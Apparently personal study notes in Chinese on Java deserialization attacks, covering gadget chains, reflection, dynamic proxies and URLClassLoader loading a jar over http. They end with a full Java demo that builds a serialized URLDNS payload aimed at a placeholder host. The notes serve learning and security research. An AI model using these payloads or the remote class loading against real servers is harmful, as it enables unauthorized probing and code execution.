JAVA反序列化
基础
java对象 <—> 字节码
序列化反序列化
- 需要有一个serializable的接口 不需要实现 需要有
可以用fileOutputStream fileInputStream
transient 标记的对象不会被 序列化
如果重写了writeObject 或者 readObject 就会调用自己的 不会用原生的
漏洞成因
如果接受了一个类 反序列化后里面有readObject类 就会自动调用
传到服务器上的代码 如果反序列化了 就会直接执行代码
- 入口类readObject 直接调用危险方法
- 入口类参数中包含可控类 这个类有危险方法 readObject时调用
- 可控类套可控类 直到一个类存在危险方法 readObject时调用
- 构造函数/静态代码块 等类加载时隐式执行
入口类
- 继承 serializable
- 入口类 (重写readObject 参数类型宽泛 最好是jdk自带 也就是 HashMap
HashMap为什么要重写writeObject 和readObject
- 调用链 相同名称 相同类型
- 执行类
反射
作用
让java具有动态性
修改 已经存在的对象的属性
动态生成对象
动态调用方法
操作内部类 和私有方法 xxx.setAccessible(true)
1 2 3
| Method xxx = 类名.getMethod("方法名",函数类型) xxx.invoke(实例化对象,value)
|
在反序列化中的使用
定制需要的对象
通过invoke调用除了同名函数以外的函数
通过Class类创建对象 引入不能序列化的类
invoke
可以知道getRuntime 没有继承serializable是不能被反序列化的
为什么在反序列化中用它呢
具体利用是
找到某个invoke方法 它会以getRuntime 作为参数
从而动态调用getRuntime实现反序列化
动态代理
不修改原对象 通过代理类扩展一些功能
静态 没什么可写的
要代理的接口 需要做的(调用处理器) 类加载CalssLoader
在反序列化中的运用
和readObject类似 -> 反序列化自动执行
invoke -> 有函数时调用
可以拼接两条链 无论前面是什么链 后面都会固定
类的动态加载
ClassLoader->SecureClassLoader->URLClassLoader->AppClassLoader
localClass->findClass(重写的方法)->defineClass(从字节码加载类)
URlClassLoader 任意类加载 file/http/jar 协议
1 2 3
| URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("jar:http://localhost:9999/Hello.jar!/")}); CLass<?> c = urlClassLoader.loadClass("Hello"); c.newInstance
|
ClassLoader.defineClass 字节码加载任意类 私有
Unsafe.defineClass 字节码加载public 类不能直接生成 Spring 里面可以直接生成
URLDNS
利用链
1 2 3 4 5 6
| 1. HashMap->readObject() 2. HashMap->hash() 3. URL->hashCode() 4. URLStreamHandler->hashCode() 5. URLStreamHandler->getHostAddress() 6. InetAddress->getByName()
|
Demo
UrlDns.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| package org.urldns;
import java.io.*; import java.lang.reflect.Field; import java.net.URL; import java.util.HashMap;
public class UrlDns {
public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException { HashMap<URL, Integer> hashMap = new HashMap<>();
URL url = new URL("xx.xx.xx.xx"); Class c = url.getClass(); Field hashcodefield = c.getDeclaredField("hashCode"); hashcodefield.setAccessible(true); hashcodefield.set(url, 123); hashMap.put(url, 1); hashcodefield.set(url, -1); serialize(hashMap);
} public static void serialize(Object obj) throws IOException { ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser-urldns.bin")); objectOutputStream.writeObject(obj); } public static Object unserialize (String filename) throws IOException, ClassNotFoundException { ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename)); Object object = objectInputStream.readObject(); return object; }
}
|